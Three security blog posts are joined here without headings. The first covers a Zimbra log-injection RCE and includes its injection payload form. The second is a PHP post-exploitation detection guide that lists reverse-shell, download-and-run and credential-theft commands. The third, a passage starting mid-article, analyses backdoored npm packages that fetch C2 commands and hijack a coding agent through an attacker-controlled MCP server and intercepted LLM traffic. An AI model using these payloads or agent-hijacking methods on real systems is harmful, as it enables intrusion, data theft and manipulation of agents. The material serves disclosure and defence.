CVE-2026-73570 is an unauthenticated command injection vulnerability in Zimbra, and one malformed recipient address is enough to trigger it. Send a malformed request and it is logged in /var/log/zimbra.log. From there, the Swatchdog monitoring daemon matches it against a service status pattern and passes it to /bin/sh inside a backticked Perl string. The result is remote code execution as the zimbra user. The account reads every mailbox on the server and sends as any local identity, so compromising the mail server compromises the identities it serves. 

We reproduced the full chain while building detections for it, and several of the public proofs of concept (PoCs) we tested write a payload that Swatchdog never matches, so a failed test looks like a patched server. The working chain is shown next, along with the rule that fires when a shell spawns anything other than snmptrap.

Note that if you host Zimbra Simple Mail Transfer Protocol (SMTP) services and haven’t patched to version 10.1.20+, please do so before trying out the steps in this blog post.

How the Zimbra command injection vulnerability works

The core entry point for this kind of attack is CVE-2026-73570, a vulnerability in an unpatched Zimbra service (patched as of Zimbra version 10.1.20). When exploited, it can provide arbitrary remote code execution bypassing authentication requirements. To do this, an attacker passes a specifically crafted SMTP message that’s written to the notification file /var/log/zimbra.log for processing. Under normal circumstances, entries are written to this log to keep track of the status of services, such as when a given mailbox service has started or a message delivery has failed:

Figure 2: Log indication that a message failed to be delivered to zimbra@mail.lab.test.

As part of the monitoring components of Zimbra, a daemon called Swatchdog watches this file for specific log entries that match the format of a service status change:

Figure 3: Normal service message.

When an entry is identified and SNMP notifications are enabled, it invokes a notification function that generates an snmptrap, a one-way alert from the mail server to a monitoring host. The target of CVE-2026-73570 is the way that this message is constructed. The SNMP notification message is parsed with Perl. Zimbra packages a copy of the Perl program Swatchdog to handle this parsing and monitor logs. It tails the log file and compiles /opt/zimbra/conf/swatchrc.in into a Perl script using perlcode lines to directly embed Perl commands into that script. By inspecting the contents of swatchrc.in, we can see the vulnerability in this process. In version Release 10.1.16.BETA.4200001.UBUNTU24.64 UBUNTU24_64 FOSS edition, this is line 26, specifically the dosnmp call:

Figure 5: Status 1 for service “mailbox”.

However, the service name is built from $args{SERVICE} and is vulnerable to injection through log messages matching the service format. Injecting a log message is straightforward, as Postfix already records pieces of what any given SMTP client sent. So an attacker just needs to send a message that will end up in this log file. One method of doing this is to supply a message with an invalid address syntax.

A normal SMTP message includes a MAIL FROM section, denoting the sender, and a RCPT TO, specifying the recipient, along with DATA, which is the message. The first two require the email address to be wrapped in angle brackets; for example, <address@host.name>. If an attacker doesn’t follow the wrapping and omits the final >, the specified unclosed address will show up in the log file. For example, an address of <address@host.namewill have a log entry as follows:

Figure 6: Invalid recipient log entry.

Since the attacker controls this address, they can then specify a payload that will match the pattern that the daemon is looking for, Service status change: <host> <service>. Instead of supplying a valid host and service, the service can be replaced with arbitrary commands; for example $(touch /tmp/manual_test.txt). This will then be run as the original Perl process calls /bin/sh to send the notification. With this, the attacker has arbitrary remote code execution (RCE) on the target, including the ability to masquerade as other email identities from this server. 

The full chain, from inbound message to code execution, is as follows:

Stage

Component

Artifact

Delivery

Postfix

Malformed RCPT TO logged to /var/log/zimbra.log.

Trigger

Swatchdog

Log line matches the service status pattern.

Execution

Perl dosnmp

Backticks pass $args{SERVICE} to /bin/sh.

Impact

zimbra user

Code execution, identity access.

Why most public CVE-2026-73570 PoCs fail

Given the ability to execute arbitrary code, an attacker can use a number of different mechanisms to establish persistence and gain further access. In testing these approaches, we found that many of the existing PoCs didn’t fully establish the RCE chain. In some cases, the PoCs wrote incorrectly formatted commands to the log file, preventing their execution. As a result, we developed a PoC that runs a variety of commands. We also include tests that run against a remote host and send a callback to a locally running web server. With this approach, we can see that the attack works without causing any additional on-disk changes to the target:

Figure 8: PoC successful execution using a callback.

How to patch and detect CVE-2026-73570

Zimbra has patched this vulnerability. To remediate and detect CVE-2026-73570, take the following steps:

1. Upgrade to Zimbra 10.1.20 or later. This is the only complete fix.

2. Install Elastic Defend (if you haven’t already).

3. Enable the Zimbra Swatchdog SNMP Command Injection Execution security information and event management (SIEM) rule to detect exploitation and to hunt retroactively for pre-patch attempts.

The Zimbra Swatchdog detection rule identifies a sequence of processes that break from the normal Zimbra pattern. First, a shell process, /bin/sh in the prior example, is started from a parent watchdog script Perl process and has snmptrap in its command arguments, matching the expected call /opt/zimbra/common/bin/snmptrap ... ZIMBRA-MIB::zmServiceName s mailbox ... from earlier. Second, the rule detects a subprocess launched by the shell identified in the first step, provided that the subprocess isn’t snmptrap. Since the only process that should run under legitimate circumstances is snmptrap, this is a very strong indicator of successful exploitation.

If you detect a compromise, hunt for:

• Standard indicators of remote code execution on the host.

• Phishing emails originating from the server.

• Compromise of local databases and signing keys, as well as LDAP exports.

• Less direct surfaces beyond the mail store itself.

Zimbra detection rules in Elastic Security

• Zimbra Swatchdog SNMP Command Injection Execution

References

• CVE-2026-73570: Zimbra Collaboration unauthenticated RCE via Swatchdog/SNMP log-injection command injection swatchrc dosnmp Perl backtick

• Unauthenticated command injection on internet-facing mail servers: tracking CVE-2026-73570

• Zimbra Daffodil (v10.1.20) Patch Release

PHP runs behind a very large share of the web: WordPress, Drupal, Joomla, and Magento, shared hosting and control panels, and a long tail of vendor software that bundles a PHP runtime without advertising it. When a critical bug lands in PHP core rather than in one application on top of it, the number of places you have to inventory grows quickly.

The PHP security team and the reporting researchers have now published the technical root cause, a pair of memory-safety bugs in PHP core, but at the time of writing there is still no reliable public proof-of-concept to run end to end. That is an awkward position for a defender, because you cannot simply run the exploit and watch the rules fire. It is not, however, a blind spot. An RCE in a PHP web application ends in the same observable place: a PHP worker process doing something a PHP worker process should not do. That convergent behavior is what we detect, and it is what this post is about.

In this post, we will cover:

• What the advisory confirmed about CVE-2026-109618 and CVE-2026-109619, and what it means for defenders.

• Why php2shell will likely behave like generic PHP backend exploitation.

• The convergent post-exploitation flow, and the Elastic rules that cover this behavior.

• How to assess and prepare potential coverage before the PoC lands, and what to do right now.

We have walked a PHP-adjacent RCE end-to-end before, in Detecting wp2shell: WordPress pre-authentication RCE in the wild, which turned out to use the same precedence and was caught through similar pre-built behavioral rules.

What we know about CVE-2026-109618 and CVE-2026-109619

Here is what is verified at the time of writing, and what is not.

What we know. Both vulnerabilities are unauthenticated remote code execution flaws in PHP core, each rated critical by the PHP security team with a CVSS v4.0 score of 9.2. They were reported by Wiz Research, which identified them with the help of frontier AI models and coordinated disclosure with the PHP project. Additionally, a web page called php2shell was created and contains a lot of relevant information about the vulnerability. Information leaked on October 20 ahead of the embargo, which is why PHP moved its release forward to October 21 at 14:00 UTC. With that release, PHP published the patched versions, the affected branches, and the technical root cause.The PHP security team patched the vulnerabilities through commit 31c0ea7d7ff1d1fccb6492e52dab544011628065.

What we do not know. The advisory names two distinct root-cause classes, both reachable by an unauthenticated web request:

• CVE-2026-109618, RCE via out-of-memory (OOM) corruption (GHSA-w8hw-w9fx-j79w): out-of-memory handling can interrupt PHP while internal request data is only partially initialized, and request cleanup may then treat the invalid data as valid.

• CVE-2026-109619, RCE via stale global state (GHSA-6wmf-4rv5-p3rp): request-owned internal state can survive after its backing memory has been freed, and a later request handled by the same worker may use that stale state before normal initialization resets it.

Fixed versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. The risk spans any PHP installation serving web requests, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed, with the PHP team flagging mod_php as highest risk because an unauthenticated request can trigger the issue before any application code runs. PHP 8.1 and older no longer receive updates from the PHP project, though minimal source backports were provided for 7.4, 8.0, and 8.1, and some distributions and LTS vendors ship backported fixes.

Based on public reporting, the activity maps to Exploit Public-Facing Application (T1190), and once an attacker has code execution, to Command and Scripting Interpreter (T1059) and Server Software Component: Web Shell (T1505.003).

Is there a php.ini mitigation for php2shell?

The PHP security team is explicit that there are no complete mitigations and that updating is the only safe choice. It does, however, document configuration measures that reduce exposure to specific attack paths without making an installation safe. For the OOM-corruption path (CVE-2026-109618), set memory_limit=-1 in a way applications cannot override (for example php_admin_value in the FPM pool or Apache configuration), keep post_max_size low, and enforce a container or cgroup limit rather than RLIMIT_AS or RLIMIT_DATA. For the stale-global-state path (CVE-2026-109619), set session.upload_progress.enabled=0 and restart every worker, which blocks the confirmed session paths but not all variants, and on PHP 8.5 set fatal_error_backtraces=0. Apply these through php.ini, an FPM pool, or server configuration that takes effect before request parsing; ini_set() and .user.ini do not help. Treat all of these as temporary exposure reduction, not a fix, and be skeptical of social-media guidance that presents a single config toggle as a complete solution.

Why php2shell exploitation likely looks like every other PHP RCE

We now know the bug class: two memory-safety bugs in PHP core, but the detection opportunity is in the outcome, not the trigger.

A remote attacker exploiting a PHP web application wants code execution in the context of the web stack, and that context is a predictable set of processes: php-fpm and its workers, php-cgi, lsphp, or a general web server like apache2, httpd, or nginx driving PHP. Once the attacker has execution inside that context, the next actions are almost always the same regardless of how they got there:

• Confirm access. A first command through a shell to prove execution and establish identity: id, whoami, uname -a, hostname, or cat /etc/os-release.

• Enumerate for escalation. Quick checks for a path to root: sudo -l, find / -perm -u=s -type f for SUID binaries, getcap -r / for capabilities, or reading /etc/passwd and /etc/shadow.

• Stage through an interpreter. Pivot out of the shell into a richer runtime: python3 -c, perl -e, ruby -e, node -e, or back into PHP itself with php -r, often to run code that never touches disk.

• Pull second-stage tooling. Retrieve a payload with curl -O or wget -O, or pipe it straight into an interpreter (curl http(s)://... | bash, wget -qO- http(s)://... | sh).

• Decode a staged payload inline. Unpack an embedded blob without a download: echo <b64> | base64 -d | sh, openssl enc -d, or xxd -r.

• Open a reverse shell. The usual primitives: bash -i >& /dev/tcp/<ip>/<port> 0>&1, mkfifo paired with nc, socat, a Python pty.spawn, or PHP fsockopen.

• Harvest credentials and cloud identity. Read .env files, ~/.aws/credentials, a mounted service account token under (var)/run/secrets/kubernetes.io/, or the instance metadata endpoint at 169.254.169.254.

• Drop a webshell. Write attacker-controlled PHP into the web root (.php, .phtml), sometimes disguised as an image polyglot or a double extension such as avatar.php.jpg to slip past upload validation.

• Establish persistence beyond the shell. Add a cron entry, a systemd unit, or an SSH key to ~/.ssh/authorized_keys so access survives a webshell cleanup.

This is exactly the host footprint we walked end-to-end in the wp2shell post. There, a completely different bug (a WordPress REST batch route confusion) ended in apache2 spawning dash to run sh -c -- id; whoami; hostname, and plugin files landing under wp-content/. The entry point was WordPress-specific. The thing that fired the detections was not. A web server process spawning a shell or writing a payload is abnormal no matter which vulnerability opened the door, which is why we build detection on that behavior rather than on an exploit string that doesn’t exist yet. Although we can generally predict the outcome, we can never be entirely certain that we fully cover the threat, as there could be other forms of post-exploitation that we don't catch, like creation of an account or fileless PHP script execution.

That is the core of predicting coverage before a PoC lands: detect the convergent flow, not the specific trigger.

The php2shell post-exploitation flow: what a compromised web server does next

This section is the durable, exploit-agnostic layer. It keys on a web server process (PHP runtimes and general web servers) taking an action that is abnormal for a request-serving daemon. We group the coverage by the observable outcome. Endpoint (EDR) rules are shipped in the public protections-artifacts repository and can prevent as well as alert; SIEM rules are shipped in the public detection-rules repository. The queries below show only the distinctive predicate, not the full rule with all of its production exclusions.

Process execution: the web server spawns a shell

The tightest signal for "a PHP RCE just succeeded" is a request-serving process spawning a shell to run a suspicious command. The endpoint rule keys on a non-interactive web server parent launching a shell with a high-risk command line, and terminates it where prevention is enabled:

This maps to the endpoint rule Payload Execution by Web Server, which covers a broad set of web server parents (the PHP runtimes, Apache, nginx, and many application servers) and a long catalog of suspicious command lines, from discovery commands through reverse shells, decoding pipelines, and credential-file access. It is the rule that terminated dash in the wp2shell run.

On the SIEM side, two rules cover the same shell activity without a preventive action, which lets them carry fewer exclusions and reduce the risk of false negatives. Suspicious Command Execution via Web Server matches known-bad command lines from a web server parent. Unusual Command Execution via Web Server is a new_terms rule: it learns which shell command lines each web server parent normally runs on a host, then alerts on lines that break the baseline. A fresh exploit introduces command lines the host has never seen, so the two stack well together.

Child execution: the web server spawns a non-shell child

Not every PHP RCE goes through a shell. A php2shell payload may invoke an interpreter directly (python -c, perl -e), pull tooling with a downloader, or drop into a reverse-shell helper. Two SIEM rules cover a web server spawning children outside its normal set:

We have an endpoint rule named Suspicious Web Server Child Process, which covers a broad set of web parents and potentially suspicious child processes. This rule has response actions to kill the child process. 

For SIEM, we have a similar but broader rule named Suspicious Child Execution via Web Server, which keys on a web server parent whose child is run from a suspicious path (/tmp/, /dev/shm/, /var/tmp/, the web root) or is a suspicious binary (an interpreter, a networking utility, a cloud CLI, a file with a script extension). Unusual Child Execution via Web Server applies the new_terms approach to child executions, surfacing child processes a given web server has never spawned on that host. They did not fire in the wp2shell run, because that chain went through dash and standard discovery binaries that the command-execution rules already cover, but they are the layer that catches a variant invoking curl | bash or python -c directly.

Payload download: the web server pulls second-stage tooling

A common follow-on to PHP RCE is retrieving a second-stage payload. The endpoint rule Payload Downloaded via Curl or Wget by Web Server detects a web server parent invoking curl or wget through a shell to save a remote file to disk or pipe it into an interpreter, and terminates it where prevention is enabled. It did not need to fire in the wp2shell PoC, which carried its own payload, but it is a high-value layer for a real intrusion that stages tooling from an external host.

File creation: the PHP webshell drop

Before any command runs, the attacker often has to write a file: a webshell, a dropped script, an uploaded archive. A web server writing new executable or script content into the web root is abnormal outside of a deployment. Three rules cover this from different angles:

• Unusual File Creation via Web Server is a new_terms rule that flags a web server creating or renaming a file it does not normally touch.

• Unusual File Creation by Web Server is a building block rule that surfaces unusual file creations by a web server parent, useful as correlation context rather than a standalone alert.

• File with High Entropy Created by Web Server keys on a web server writing a high-entropy file with a web-executable extension, a common sign of an encoded or encrypted payload such as an obfuscated .phtml webshell.

How to prepare coverage for php2shell before the exploit exists

Because the post-exploitation flow is predictable, you can line up coverage now rather than scrambling when the exploit code appears. Enable these pre-built SIEM rules on any host running PHP or a web server:

• Suspicious Command Execution via Web Server

• Unusual Command Execution via Web Server

• Suspicious Child Execution via Web Server

• Unusual Child Execution via Web Server

• Unusual File Creation via Web Server

• Unusual File Creation by Web Server

• File with High Entropy Created by Web Server

• Web Shell Detection: Script Process Child of Common Web Processes

Deploy Elastic Defend with prevention enabled on those same hosts to add the endpoint layer, which can terminate processes that match the applicable behavioral rules. The high-entropy rule require Elastic Stack 9.3.0 or later. In the Elastic Defend integration policy, under advanced settings, set linux.advanced.events.populate_file_data to true and verify that incoming file events include file.Ext.entropy for the high-entropy rule.

The coverage spans two data sources, process and file, which is why both layers matter:

Public Elastic rule guidance for the php2shell post-exploitation flow

Telemetry source

Elastic detection rule

Process

Payload Execution by Web Server (EDR)

Process

Payload Downloaded via Curl or Wget by Web Server (EDR)

Process

Suspicious Web Server Child Process (EDR)

Process

Suspicious Command Execution via Web Server

Process

Unusual Command Execution via Web Server

Process

Suspicious Child Execution via Web Server

Process

Unusual Child Execution via Web Server

File

Unusual File Creation via Web Server

File

Unusual File Creation by Web Server

File

File with High Entropy Created by Web Server

If your web stack runs behind a parent process that is not yet in these lists, let us know so we can extend their scope.

How to find PHP installs that may be affected by php2shell

Start by identifying PHP deployments across Linux and Windows, including runtimes bundled with other applications. Patched versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35, so use the queries below to inventory PHP across your environment and prioritize anything that is unpatched or end of life.

Find PHP through process telemetry

In Kibana Discover, select a data view containing process events, such as logs-endpoint.events.process-*, and search the available retention period, for example, the last 7 days:

Review host.name, process.executable, process.parent.executable, and container.id where available. The query includes common Windows process names such as php.exe and php-cgi.exe. Parent-process matches can also reveal PHP workers through their recorded child processes.

Locate PHP installs on Linux and Windows

Process telemetry can miss inactive installations. Use Osquery to check common system and hosting-platform locations for PHP binaries and Apache PHP modules. The first example runs the query for Linux systems:

The second query checks common Windows standalone and bundled installations.

This results in the following example hits:

We can also leverage OSQuery’s deb_package and rpm_package tables:

And:

Of course, this is a short list of potential locations; use your own inventory to scan your environment. Extend these paths for other drives, custom installations, and vendor software. Inspect container filesystems separately. File matches may include unused installations, wrappers, or helper utilities. Missing results do not establish that PHP is absent.

What to do about CVE-2026-109618 and CVE-2026-109619 right now

PHP has released the fixes, so patching is now the priority, with exposure reduction for anything you cannot patch immediately:

1. Inventory every PHP install you own. Start with internet-facing web servers, then go looking for the less obvious locations: vendor appliances and software that bundle a PHP runtime, control panels, and anything running WordPress, Drupal, Joomla, or Magento.

2. Patch internet-facing systems first, to PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35, and check your Linux distribution and hosting provider for backported packages.

3. Identify end-of-life PHP. If you are running PHP 8.1 or older, the PHP project no longer ships updates, though minimal source backports exist for 7.4, 8.0, and 8.1 and some vendors provide backported packages. Upgrade, take it off the internet, or place it behind a VPN or web application firewall until you can.

4. If you cannot patch immediately, apply PHP's documented partial mitigations (for example session.upload_progress.enabled=0, and a constrained memory_limit and post_max_size), but treat them as temporary exposure reduction, not a fix.

5. If you find something, isolate the host and preserve web server and PHP logs. Look for webshells and new files in the web root, along with new cron jobs, services, and accounts.

php2shell detection: what holds regardless of the root cause

CVE-2026-109618 and CVE-2026-109619 are two critical, unauthenticated PHP core RCE flaws that were publicly identified before their coordinated disclosure. The patched releases (8.5.12, 8.4.27, 8.3.36, 8.2.35) and the two root-cause classes are now public, but the post-exploitation outcome is what makes them detectable: a web server process spawning a shell, pulling a payload, or dropping a webshell into the web root. Elastic already ships the behavioral layer that catches that convergent flow across both process and file telemetry.

Patch now, isolate what you cannot patch, and verify the web-server-to-shell detection stack is enabled on your PHP hosts. We will revisit this post with concrete telemetry as reliable public exploitation details emerge.

The tools delivered information-stealing malware and backdoors for macOS and Windows machines. The operation also repackaged a legitimate coding agent to send model requests through attacker-controlled services, while its audit tools generated fabricated security findings. 

We hope that our research raises awareness of similar scams, as AI-generated code, websites, and portfolios increasingly make illegitimate operations look polished and well-established.

Key takeaways

• Elastic Security Labs uncovered a scheme posing as a Web3 venture capital accelerator to target cryptocurrency start-ups and founders.

• This fake organization offers free Claude and Gemini credits, distributes backdoored code repositories and npm packages, and intercepts large language model (LLM) traffic.

• Campaigns distribute CloudSyncD malware for macOS and a custom Windows information stealer that exfiltrates data through Telegram.

• All 18 tools in @apexacc/audit return fabricated findings. In a separate test, @apexacc/cli’s remote scoring service returned 51/100 for a fictitious project while reporting that its AI scorer was unavailable.

How we found the malicious npm packages

This research started with a Slack notification from our supply-chain monitor bot, which flagged suspicious behavior tied to the npm package (@apexacc/cli). On closer inspection, we discovered a package that was malicious from the moment it was published, not a supply chain compromise.

Later that day, we learned that this package was connected to the same publisher in a campaign previously reported by SafeDep. Shortly after this, the same threat actor published another malicious npm package (@apexacc/audit) with a new campaign. We then examined the group's websites and malicious packages, as well as its distributed malware.

How the fake Web3 accelerator attracted founders

The main project presents itself as Apex Arena, a private workspace for crypto/Web3 founders backed by an accelerator called Apex. The website claims to have over 200 portfolio projects and to have raised more than $124 million in capital. 

The platform advertises the following services:

• Smart contract/Web3 security auditing, including downloadable code-auditing tools (the Model Context Protocol–delivered [MCP-delivered] "Apex Audit" suite).

• Direct messaging between founders and Apex investment relations.

• A directory of vetted individuals seeking job opportunities.

• Start-up assessments across a set of categories that produce an Apex Score.

The following screenshot shows a proposed workflow in which users receive their Apex Score through Apex's own coding project, Apex Copilot, which contains a malicious backdoor:

Below is an excerpt from an Apex Audit product pitch on an event listing that was taken down for violating the platform's terms of service:

The group uses fake reviews to make its services appear legitimate to people researching the company or its products:

Our team found an example of a start-up founder describing his interactions with the threat actor and how he handled the scam:

The group also sought to build credibility through its presence at TOKEN2049 in Singapore and other in-person events it has hosted in the past. The group attempts to manufacture legitimacy by appearing at widely attended conferences, indirectly lending credibility to the project. We notified the conference organizers of this activity and provided a summary before publication.

Malicious npm packages and delivery chains

The examined Apex packages use AI/Web3 products as the presentation for a multistage delivery mechanism. @apexacc/cli (apexaccs/copilot on GitHub) advertises an AI coding assistant, and @apexacc/audit (apexaccs/audit-mcp on GitHub) advertises an MCP server that offers 18 security tools. 

Their published launchers download and start platform-specific executables from the projects’ GitHub releases. The associated source implements a separate “verification” path that obtains commands from vrf.apexaccs[.]org and launches them on the host. Windows-specific code also attempts to alter execution policy and security controls. 

@apexacc/audit's advertised security functionality is deceptive. All 18 published tool handlers generate hard-coded, input-formatted, date-derived, or randomized reports instead of running the advertised scans. 

What the npm launchers download and execute

The packages' bin entries point to apex.cjs and audit.cjs, respectively, which run when users invoke the installed commands or launch them through npx. The launchers construct versioned release URLs and cache the executables under the user's home directory. They start them with spawnSync.

The two repositories distribute the following components:

Project

Platform

Main application

Supporting component

@apexacc/cli

Windows x64

apex-windows-x64.exe, a Bun executable containing the agent and its JavaScript bootstrap.

pi_natives.win32-x64-baseline.node, a native utility dynamic link library (DLL) loaded by the application.

@apexacc/cli

macOS ARM64

apex-darwin-arm64, a Bun-compiled Mach-O executable containing the agent and its JavaScript bootstrap.

apex-verify-darwin, a separate Rust executable that retrieves and launches verification commands.

@apexacc/audit

Windows x64

apex-audit-windows-x64.exe, a Bun executable containing the Audit MCP server and its JavaScript bootstrap.

No separate verification helper; command retrieval and execution are implemented in the JavaScript bootstrap.

@apexacc/audit

macOS ARM64

apex-audit-darwin-arm64, a Bun-compiled Mach-O executable containing the Audit MCP server and its JavaScript bootstrap.

apex-audit-verify-darwin, a separate Rust executable that retrieves and launches verification commands.

The execution chains for both packages are shown below:

Repackaged Oh My Pi source

@apexacc/cli repackages the legitimate open-source coding agent Oh My Pi. We compared Apex Copilot v1.6.1 with the original Oh My Pi v16.3.6 project, using a saved Git clone of the Apex repository and a complete file list, including content hashes, obtained from GitHub for Oh My Pi. We then matched files at the same location under packages/coding-agent/src/ and compared their content hashes. Of the 1,363 files in Apex’s directory, 1,351 matched their Oh My Pi counterparts exactly. Apex adds a bootstrap that implements verification-command execution and redirects OpenRouter-labeled model traffic through Apex infrastructure. It also registers an Apex-controlled MCP server. The copied agent provides genuine functionality that helps conceal these additions. 

The Windows add-on pi_natives.win32-x64-baseline.node corresponds to Oh My Pi's native dependency and provides shell execution, terminal sessions, process management, clipboard access, and file-processing functions. Its checked Rust source matches Oh My Pi's implementation. Preliminary static inspection found no additional malicious mechanisms in this DLL.

How the bootstrap runs attacker commands on Windows and macOS

The two projects place their bootstrap logic in different files: @apexacc/cli uses packages/coding-agent/src/apex-bootstrap.ts, while @apexacc/audit implements it in src/main.ts. Both use the same verification service, hxxps://vrf.apexaccs[.]org/api/v1/vrf, and accept server-selected exec, args, and cmd fields. The platform determines how that request and command execution occur:

Windows: Direct command retrieval

On Windows, both bootstraps directly POST {"p":"win32"} using JavaScript's HTTPS API. They construct a command line from the response's exec, args, and cmd fields. An example constructed command line looks like this: powershell.exe -nop -EncodedCommand <cmd>.

The @apexacc/cli bootstrap writes this command line into %TEMP%\_apex_run.ps1; @apexacc/audit writes it into %TEMP%\_audit_run.ps1. Each also writes a VBScript launcher (_apex_run.vbs or _audit_run.vbs in the same temporary directory) containing a WScript.Shell.Run call that starts powershell -NoProfile -ExecutionPolicy Bypass -File <path-to-ps1>. The bootstrap then launches wscript.exe with the VBScript file as its argument: 

@apexacc/audit's bootstrap also requests User Account Control (UAC) elevation on Windows 11 to exclude its local application directory, %USERPROFILE%\.apex-audit, from Microsoft Defender Antivirus scanning and attempts to disable Smart App Control by setting VerifiedAndReputablePolicyState to zero.

macOS: Command fetching through a Rust verifier

For macOS, instead of making network requests directly from JavaScript, both packages delegate this step to a small Rust binary, apex-verify-darwin (copilot) / apex-audit-verify-darwin (audit-mcp). These binaries POST {"p":"darwin"} to vrf.apexaccs[.]org/api/v1/vrf to retrieve a command from the attacker's command-and-control (C2) server. 

This command downloads a remotely hosted bash script and executes it on the machine. The script masquerades as a generic application installer, but its real logic downloads a gzip-compressed tarball from the URL (verify.apexfdn[.]xyz/unix/ab640649-3889-4169-8804-2a1a8ba0fe72) and saves it as package.tar.gz in a temporary directory, in addition to extracting it:

The archive contains a single Mach-O binary named installer. This is the dropper component of the malware family (CloudSyncD), previously discussed by Jamf. We cover our analysis of this chain in the following section. 

Remote MCP and LLM routing expand the software's control surface

The @apexacc/cli bootstrap redirects OpenRouter-labeled model requests to an attacker-controlled API endpoint and registers an attacker-controlled MCP server in the victim's agent configuration. 

These changes allow the attacker-controlled API to receive the prompts, conversation history, code snippets, and tool outputs included in the agent's LLM requests. The attacker's MCP server can also supply instructions that are added to the agent's prompt, along with tool names, descriptions, and accepted inputs that help the model decide which tools to invoke and how to use them. Together, these mechanisms give the attacker visibility into the submitted data and a way to influence the agent's subsequent actions.

How the attacker intercepts OpenRouter LLM traffic

If no token is available, the CLI prompts the user to visit hxxps://arena.apexaccs[.]org/dashboard/pilot to obtain an Apex token and paste it into the terminal:

Once a token is available, the bootstrap overwrites three environment variables in the running process:

With Chat Completions mode selected (PI_OPENROUTER_RESPONSES=0), requests are sent to hxxps://arena.apexaccs[.]org/api/llm/v1/chat/completions. The provider remains labeled OpenRouter, while the actual network peer is an attacker-controlled server:

An instrumented session confirmed this routing in a working client. A main chat request containing the marker REF8801-CHAT-CHECK-01 went to that endpoint and received an HTTP 200 streamed response referencing the marker. The request also included two system messages and 28 tool definitions: 20 generic agent tools and eight Apex-specific remote MCP tools.

Control of the endpoint also lets an attacker substitute responses, including structured tool calls that the client parses as model output. The captured source defaults tool approvals to yolo, allowing read, write, and execution tiers unless explicit policies or other controls intervene. This could let substituted responses drive enabled local tools through the normal agent loop. However, we didn’t observe malicious LLM response substitution.

To test what happens after a local tool runs, we created C:\ApexTest\testfile.txt, which contains the unique value REF8801-TEST-FILE-CONTENT. We then asked the agent:

The initial model request contained this instruction and the file path but not the file's value. The response selected the local read tool with C:\ApexTest\testfile.txt as its path argument. Then the next POST to the attacker-controlled chat-completions endpoint included the following tool-result fields:

The same file-read result remained in later conversation requests, showing that the model transmitted locally read content as context after an explicitly requested file read.

Persistent registration of an attacker-controlled MCP server

The bootstrap creates or replaces an apex-copilot entry in ~/.apex/agent/mcp.json, pointing to hxxps://arena.apexaccs[.]org/api/copilot/mcp with a bearer token and device identifier. This entry persists across process restarts:

It uses the agent's MCP support to automatically connect to the attacker-controlled server. A network capture showed the server's eight tool definitions (apex_score, apex_code_review, …) and instructions in outgoing LLM requests, alongside a warning that the instructions were server-controlled and might not be verified.

Fabricated MCP audit results

@apexacc/cli's scoring test returned an unsupported assessment of a fictitious project, while inspection of @apexacc/audit's source exposed hard-coded, fabricated “security” findings. 

Scoring a project that doesn’t exist

We asked the @apexacc/cli agent to use apex_score once for a fictitious project, “REF8801 Synthetic Notes,” described as a pre-revenue prototype for publishing public research notes. The project existed only as our test description. We provided no repository, contract address, team information, or other project details. The instruction asked the agent to request any missing inputs and to stop if verification was required.

The agent invoked the remote apex_score tool without additional confirmation. The service returned an overall score of 51/100 and assigned the same score of 51 to five assessment categories (team, traction, tokenomics, market & moat, and security). It also disclosed that its AI scorer service was unavailable.

We assess these uniform figures as likely fabricated placeholder scores rather than substantiated findings about the project. The claimed outage and server-side method used to generate the scores couldn’t be independently verified:

Hard-coded results in the local audit tools

The separate @apexacc/audit package implements a local MCP server named apex-audit. Its bootstrap script attempts to register the main Bun executable with --mcp in existing Claude Desktop, Cursor, and Windsurf configurations. However, a start-up logic bug rejects --mcp before the server-start branch is reached. The README instructs users to configure their MCP client to launch dist/server.js directly under Node. If adopted, that configuration lets the client launch the server without passing through the bootstrap gate.

Inspection of all 18 published tool handlers showed that they don’t perform the advertised security investigations. They format hard-coded findings, insert user-supplied labels, and, in some cases, add random scores or date-derived values. The server wraps their output as type: "text" tool results and returns it to the AI client over standard input/output. 

Following are four examples of advertised and implemented behavior:

Tool

Advertised capability

Implemented behavior

audit_full_contract

Full smart-contract audit using Slither and static analysis.

Returns a fixed report claiming that Slither v0.10.4 analyzed 847 lines of code. 

audit_honeypot

Simulate buying and selling a token to detect blocked withdrawals.

Always returns NOT A HONEYPOT, successful buy/sell simulations, and fixed gas and tax figures.

audit_token_risk

Assess token risk with a score and SAFE, WARN, or DANGER verdict.

Uses Math.floor(Math.random() * 40) + 55, producing scores from 55 through 94. The result can only be SAFE or WARN.

audit_token_security_api

Aggregate third-party security findings.

Returns literal GoPlus and Slither fields and a fixed composite score of 68/100, without making the claimed queries.

Earlier delivery infrastructure and domain rotation

Historical @apexacc/cli source exposes additional script-download addresses. The three Windows domains in the following table appear in succession as the bootstrap's hard-coded download host changed:

Host or URL

Role and source history

arenapex[.]cloud

Initial Windows script-download host in the earliest preserved bootstrap.

cloudmain365duo[.]top

Replaces arenapex[.]cloud in the preserved commit history. Subsequent source conceals the command containing this hostname in an XOR-encoded array.

fdn4apex[.]com

Replaces cloudmain365duo[.]top. A later revision conceals the command containing this hostname behind XOR and Base64 encoding.

hxxps://main.router-apex[.]com/updater.sh

Fixed script URL in the earlier macOS Rust verifier. The hostname is stored as XOR-encoded bytes.

hxxps://update.apex-arena-router[.]com/loader.sh

Hard-coded script that the URL uses when the main Bun executable is started with the --run-verify command-line argument. Writes a temporary shell script and asks macOS Terminal to run it.

A later Rust-verifier revision replaces the fixed main.router-apex[.]com/updater.sh address with the command-response endpoint hxxps://vrf.apexaccs[.]org/api/v1/vrf.

@apexacc/audit uses that same endpoint from its initial verifier implementation.

Russian-language comments in the commit history

Historical commits contained a few Russian comments. Examples include Проверяем AI агентов по env переменным ("Check for AI agents using environment variables") and Анти-отладка и анти-агент проверки ("Anti-debugging and anti-agent checks") in the macOS verifier source. However, these language artifacts alone don’t establish nationality or actor attribution:

CloudSyncD: macOS malware analysis

CloudSyncD first stage: Password prompt

The dropped file is known as the CloudSyncD family, based on the application it masquerades as cloudsync. The file is a Mach-O universal binary that contains multiple architecture slices bundled together (ARM64, x86_64), allowing for maximum compatibility across victims. This first stage primarily loads the embedded payload.

CloudSyncD incorporates string obfuscation through an in-house library, based on its symbols (cloudsync_impl::sobf, class template CTEnc<N>). Strings are encrypted at compile-time and decrypted at runtime, either through CTEnc<N>::str() or a standalone helper (sobf::reveal) that implements the same algorithm. Each string’s ciphertext is decrypted byte by byte with a custom XOR-based cipher using the following formula:

